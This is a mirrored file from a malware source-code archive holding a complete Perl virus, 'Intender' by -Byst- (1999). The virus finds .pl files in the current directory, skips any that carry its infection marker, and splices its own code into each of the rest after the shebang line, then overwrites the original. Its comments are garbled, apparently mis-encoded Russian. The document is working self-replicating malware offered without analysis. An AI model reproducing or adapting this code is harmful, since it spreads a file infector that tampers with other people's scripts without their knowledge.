mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 14:35:27 +00:00
67 lines
2.3 KiB
Plaintext
67 lines
2.3 KiB
Plaintext
|
#here virus starts
|
|||
|
# Intender by -Byst- (c) 1999
|
|||
|
$source = __FILE__;
|
|||
|
while (<*.pl>)
|
|||
|
{
|
|||
|
$name = $_; # ˆ¬ï ä ©« -¦¥àâ¢ë
|
|||
|
$cname = crypt($name,$name); # ˆ¬ï ¯à®¬¥¦ãâ®ç®£® ä ©«
|
|||
|
|
|||
|
# ஢¥à¨¬ ¥ ¨ä¨æ¨à®¢ «¨ 㦥 ä ©«?
|
|||
|
|
|||
|
open(TARGET,"<$name"); # ¦¥àâ¢
|
|||
|
$allready_infected = 0;
|
|||
|
while (<TARGET>) {
|
|||
|
if (index($_,"\x23 Intender by -Byst- (c) 1999") == 0)
|
|||
|
{ $allready_infected = 1;} # 㦥 ¨ä¨æ¨à®¢ !
|
|||
|
}
|
|||
|
close(TARGET);
|
|||
|
if ($allready_infected == 1 )
|
|||
|
{ next;} # ¯¥à¥å®¤¨¬ ª á«¥¤ãî饩 ¦¥à⢥
|
|||
|
|
|||
|
# ஢¥à¨¬, ¥â «¨ ¢ ⥫¥ ¦¥àâ¢ë áâப ⨯ !/usr/bin/perl
|
|||
|
open(TARGET,"<$name"); # ¦¥àâ¢
|
|||
|
$flag = 0;
|
|||
|
while (<TARGET>) {
|
|||
|
if (index($_,"\x23!") == 0) # 諨 â ªãî áâபã
|
|||
|
{ $flag = 1;} # ¢§¢®¤¨¬ ä« £
|
|||
|
}
|
|||
|
close(TARGET);
|
|||
|
|
|||
|
# ‘®§¤ ¥¬ ç áâì ¢ ª®â®à®© ᮤ¥à¦¨âáï ¢ë§®¢ ¯à®æ¥¤ãàë ¨ä¨æ¨à®¢ ¨ï
|
|||
|
open(TARGET,"<$name"); # ¦¥àâ¢
|
|||
|
open(FBUF,">$cname"); # ¯à®¬¥¦ãâ®çë© ä ©«
|
|||
|
|
|||
|
if ($flag == 1) { # ã ¦¥àâ¢ë ¥áâì ®¡®§ 票¥ ç « ¯à®£à ¬¬ë?
|
|||
|
while (<TARGET>) { # ¨é¥¬ ¥£®
|
|||
|
print(FBUF); # á®åà 塞 ¢á¥ áâப¨ ¦¥àâ¢ë ¤® #!
|
|||
|
if (index($_,"\x23!") == 0 ) # £ , ¢®â ¨ ç «® ¯à®£à ¬¬ë
|
|||
|
{ last;}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
# ¨é¥¬ ⥫ ¯à®æ¥¤ãà
|
|||
|
$_ = "\n";print(FBUF);
|
|||
|
open(SOURCE,"<$source"); # â ªãî騩 ä ©«
|
|||
|
while(<SOURCE>) { # ¨é¥¬ ¯à¨§ ª ç « - "#here virus starts"
|
|||
|
if (index($_,"\x23here virus starts") == 0) { last;}
|
|||
|
}
|
|||
|
print(FBUF);
|
|||
|
# ¢¥áì ⥪áâ ¯à®æ¥¤ãà -> ¯à®¬¥¦ãâ®çë© ä ©«
|
|||
|
while (<SOURCE>) {
|
|||
|
print(FBUF);
|
|||
|
if (index($_,"\x23here virus ends") == 0) { last;}
|
|||
|
}
|
|||
|
close(SOURCE);
|
|||
|
$_ = "\n";print(FBUF);
|
|||
|
# ®áâ ¢èãîáï ç áâì ¦¥àâ¢ë -> ¯à®¬¥¦ãâ®çë© ä ©«
|
|||
|
while (<TARGET>) {
|
|||
|
print(FBUF);
|
|||
|
}
|
|||
|
close(TARGET);
|
|||
|
close(FBUF);
|
|||
|
rename($cname,$name);
|
|||
|
}
|
|||
|
#here virus ends
|
|||
|
|
|||
|
|